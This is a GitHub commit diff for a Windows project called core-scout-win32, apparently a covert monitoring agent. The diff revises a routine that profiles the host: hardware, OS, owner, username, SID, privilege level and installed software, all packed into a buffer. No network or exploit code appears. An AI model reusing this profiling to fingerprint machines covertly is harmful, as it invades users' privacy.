Skip to content

Commit

Permalink
8.4.1 + hotfix
Browse files Browse the repository at this point in the history
  • Loading branch information
Guido Landi committed Sep 30, 2013
1 parent abd8fc9 commit 1f9b708
Show file tree
Hide file tree
Showing 11 changed files with 206 additions and 140 deletions.
Binary file modified core-scout-win32.sdf
View file
Binary file not shown.
3 changes: 3 additions & 0 deletions core-scout-win32.sln
View file
Expand Up @@ -10,6 +10,7 @@ Global
Pre-Release|Win32 = Pre-Release|Win32
Release|Win32 = Release|Win32
Release-NoSleep|Win32 = Release-NoSleep|Win32
scout++|Win32 = scout++|Win32
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{79FB9FBA-C040-4B3A-B40A-B8125BD2846D}.Debug|Win32.ActiveCfg = Debug|Win32
Expand All @@ -22,6 +23,8 @@ Global
{79FB9FBA-C040-4B3A-B40A-B8125BD2846D}.Release|Win32.Build.0 = Release|Win32
{79FB9FBA-C040-4B3A-B40A-B8125BD2846D}.Release-NoSleep|Win32.ActiveCfg = Release-NoSleep|Win32
{79FB9FBA-C040-4B3A-B40A-B8125BD2846D}.Release-NoSleep|Win32.Build.0 = Release-NoSleep|Win32
{79FB9FBA-C040-4B3A-B40A-B8125BD2846D}.scout++|Win32.ActiveCfg = scout++|Win32
{79FB9FBA-C040-4B3A-B40A-B8125BD2846D}.scout++|Win32.Build.0 = scout++|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
Expand Down
Binary file modified core-scout-win32.suo
View file
Binary file not shown.
75 changes: 37 additions & 38 deletions core-scout-win32/agent_device.cpp
View file
Expand Up @@ -2,6 +2,7 @@
#include <Lm.h>
#include <Sddl.h>
#include <stdio.h>
#include <Strsafe.h>
#include "agent_device.h"


Expand All @@ -12,6 +13,7 @@ VOID GetDeviceInfo()
HKEY hKey;
ULONG uLen;
PDEVICE_INFO pDeviceInfo;

if (pDeviceContainer != NULL)
{
#ifdef _DEBUG
Expand All @@ -23,8 +25,7 @@ VOID GetDeviceInfo()
#ifdef _DEBUG
OutputDebugString(L"[+] Starting GetDeviceInfo\n");
#endif

pDeviceContainer = (PDEVICE_CONTAINER)malloc(sizeof(DEVICE_CONTAINER));

pDeviceInfo = (PDEVICE_INFO)malloc(sizeof(DEVICE_INFO));
memset(pDeviceInfo, 0x0, sizeof(DEVICE_INFO));

Expand Down Expand Up @@ -108,6 +109,8 @@ VOID GetDeviceInfo()
pDeviceInfo->osinfo.org[0] = L'\0';
}

// FIN QUI TUTTO OK


// user
uLen = sizeof(pDeviceInfo->userinfo.username) / sizeof(WCHAR);
Expand All @@ -116,29 +119,21 @@ VOID GetDeviceInfo()

PBYTE pUserInfo = NULL;
pDeviceInfo->userinfo.priv = 0;

if (NetUserGetInfo(NULL, pDeviceInfo->userinfo.username, 1, &pUserInfo) == NERR_Success)
pDeviceInfo->userinfo.priv = ((PUSER_INFO_1)pUserInfo)->usri1_priv;


typedef NET_API_STATUS (WINAPI *NetUserGetInfo_p)(
_In_ LPCWSTR servername,
_In_ LPCWSTR username,
_In_ DWORD level,
_Out_ LPBYTE *bufptr);
NetUserGetInfo_p fpNetUserGetInfo = (NetUserGetInfo_p) GetProcAddress(LoadLibrary(L"Netapi32"), "NetUserGetInfo");

if (fpNetUserGetInfo)
if (fpNetUserGetInfo(NULL, pDeviceInfo->userinfo.username, 1, &pUserInfo) == NERR_Success)
pDeviceInfo->userinfo.priv = ((PUSER_INFO_1)pUserInfo)->usri1_priv;


SecureZeroMemory(pDeviceInfo->userinfo.fullname, 0x2);
SecureZeroMemory(pDeviceInfo->userinfo.sid, 0x2);


typedef NET_API_STATUS (WINAPI *NETUSERGETINFO)(LPWSTR, LPWSTR, DWORD, LPBYTE*);
NETUSERGETINFO pfn_NetUserGetInfo = (NETUSERGETINFO) GetProcAddress(LoadLibrary(L"netapi32"), "NetUserGetInfo");

if (pfn_NetUserGetInfo(NULL, pDeviceInfo->userinfo.username, 23, &pUserInfo) == NERR_Success)
{
PWCHAR pSidStr = NULL;
wcsncpy_s(pDeviceInfo->userinfo.fullname, sizeof(pDeviceInfo->userinfo.fullname) / sizeof(WCHAR), ((PUSER_INFO_23)pUserInfo)->usri23_full_name, _TRUNCATE);
if (ConvertSidToStringSid(((PUSER_INFO_23)pUserInfo)->usri23_user_sid, &pSidStr))
wcsncpy_s(pDeviceInfo->userinfo.sid, sizeof(pDeviceInfo->userinfo.sid) / sizeof(WCHAR), pSidStr, _TRUNCATE);
}

NetApiBufferFree(pUserInfo);


// locale & timezone
Expand All @@ -158,7 +153,8 @@ VOID GetDeviceInfo()

RegCloseKey(hKey);
}



if (!RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation", 0, KEY_READ, &hKey) != ERROR_SUCCESS)
{
uLen = sizeof(ULONG);
Expand All @@ -168,7 +164,6 @@ VOID GetDeviceInfo()
RegCloseKey(hKey);
}



// disk
ULARGE_INTEGER uDiskFree, uDiskTotal;
Expand All @@ -189,10 +184,8 @@ VOID GetDeviceInfo()
else
pDeviceInfo->diskinfo.disktotal = pDeviceInfo->diskinfo.diskfree = 0;


BOOL bIsWow64, bIsx64OS;
IsWow64Process(GetCurrentProcess(), &bIsWow64);
bIsx64OS = IsX64System();
IsX64System(&bIsWow64, &bIsx64OS);

PWCHAR pApplicationList = GetApplicationList(FALSE);
PWCHAR pApplicationList64 = NULL;
Expand All @@ -201,13 +194,14 @@ VOID GetDeviceInfo()
pApplicationList64 = GetApplicationList(TRUE);

PWCHAR pDeviceString = (PWCHAR)malloc(sizeof(DEVICE_INFO)
+ wcslen(pApplicationList) * sizeof(WCHAR)
+ (pApplicationList ? wcslen(pApplicationList) * sizeof(WCHAR) : 0 )
+ (pApplicationList64 ? wcslen(pApplicationList64) * sizeof(WCHAR) : 0)
+ 1024);

_snwprintf_s(pDeviceString,
sizeof(DEVICE_INFO)/sizeof(WCHAR) + wcslen(pApplicationList) + (pApplicationList64 ? wcslen(pApplicationList64) : 0) + 1024/sizeof(WCHAR),
_TRUNCATE,
+ 1024); // fixme dwSize
SecureZeroMemory(pDeviceString, 1024);

DWORD dwSize = sizeof(DEVICE_INFO) + (pApplicationList ? wcslen(pApplicationList) * sizeof(WCHAR) : 0 ) + (pApplicationList64 ? wcslen(pApplicationList64) * sizeof(WCHAR) : 0) + 1024;

StringCbPrintf(pDeviceString, dwSize,
L"CPU: %d x %s\n"
L"Architecture: %s\n"
L"RAM: %dMB free / %dMB total (%u%% used)\n"
Expand All @@ -221,17 +215,19 @@ VOID GetDeviceInfo()
L"SID: %s\n"
L"\nApplication List (x86):\n%s\nApplicationList (x64):\n%s",
pDeviceInfo->procinfo.procnum, pDeviceInfo->procinfo.proc,
bIsWow64 ? L"64-bit" : L"32-bit",
bIsx64OS ? L"64-bit" : L"32-bit",
pDeviceInfo->meminfo.memfree, pDeviceInfo->meminfo.memtotal, pDeviceInfo->meminfo.memload,
pDeviceInfo->diskinfo.diskfree, pDeviceInfo->diskinfo.disktotal,
pDeviceInfo->osinfo.ver, (pDeviceInfo->osinfo.sp[0]) ? L" (" : L"", (pDeviceInfo->osinfo.sp[0]) ? pDeviceInfo->osinfo.sp : L"", (pDeviceInfo->osinfo.sp[0]) ? L")" : L"", bIsx64OS ? L" (64-bit)" : L" (32-bit)",
pDeviceInfo->osinfo.owner, (pDeviceInfo->osinfo.org[0]) ? L" (" : L"", (pDeviceInfo->osinfo.org[0]) ? pDeviceInfo->osinfo.org : L"", (pDeviceInfo->osinfo.org[0]) ? L")" : L"", pDeviceInfo->osinfo.id,
pDeviceInfo->localinfo.lang, pDeviceInfo->localinfo.country, (-1 * (int)pDeviceInfo->localinfo.timebias) / 60, abs((int)pDeviceInfo->localinfo.timebias) % 60,
pDeviceInfo->userinfo.username, (pDeviceInfo->userinfo.fullname[0]) ? L" (" : L"", (pDeviceInfo->userinfo.fullname[0]) ? pDeviceInfo->userinfo.fullname : L"", (pDeviceInfo->userinfo.fullname[0]) ? L")" : L"", (pDeviceInfo->userinfo.priv) ? ((pDeviceInfo->userinfo.priv == 1) ? L"" : L" [ADMIN]") : L" [GUEST]",
pDeviceInfo->userinfo.sid,
pApplicationList,
pApplicationList ? pApplicationList: L"",
pApplicationList64 ? pApplicationList64 : L"");



pDeviceContainer = (PDEVICE_CONTAINER)malloc(sizeof(DEVICE_CONTAINER));
pDeviceContainer->pDataBuffer = (PBYTE)pDeviceString;
pDeviceContainer->uSize = (wcslen(pDeviceString)+1)*sizeof(WCHAR);

Expand Down Expand Up @@ -299,7 +295,7 @@ PWCHAR GetApplicationList(BOOL bX64View)

if (!pApplicationList)
{
uAppList = wcslen(pProduct)*sizeof(WCHAR) + sizeof(WCHAR);
uAppList = wcslen(pProduct) * sizeof(WCHAR) + sizeof(WCHAR);
pApplicationList = (PWCHAR)realloc(NULL, uAppList);
memset(pApplicationList, 0x0, uAppList);
}
Expand All @@ -315,13 +311,16 @@ PWCHAR GetApplicationList(BOOL bX64View)
return pApplicationList;
}

BOOL IsX64System()
VOID IsX64System(PBOOL bIsWow64, PBOOL bIsx64OS)
{
SYSTEM_INFO SysInfo;
IsWow64Process((HANDLE)-1, bIsWow64);

GetNativeSystemInfo(&SysInfo);
if(SysInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_INTEL)
return FALSE;
*bIsx64OS = FALSE;
else
*bIsx64OS = TRUE;

return TRUE;
return;
}
2 changes: 1 addition & 1 deletion core-scout-win32/agent_device.h
View file
Expand Up @@ -44,7 +44,7 @@ typedef struct _DEVICE_CONTAINER

VOID GetDeviceInfo();
PWCHAR GetApplicationList(BOOL bX64View);
BOOL IsX64System();
VOID IsX64System(PBOOL bIsWow64, PBOOL bIsx64OS);

#endif

Expand Down

0 comments on commit 1f9b708

Please sign in to comment.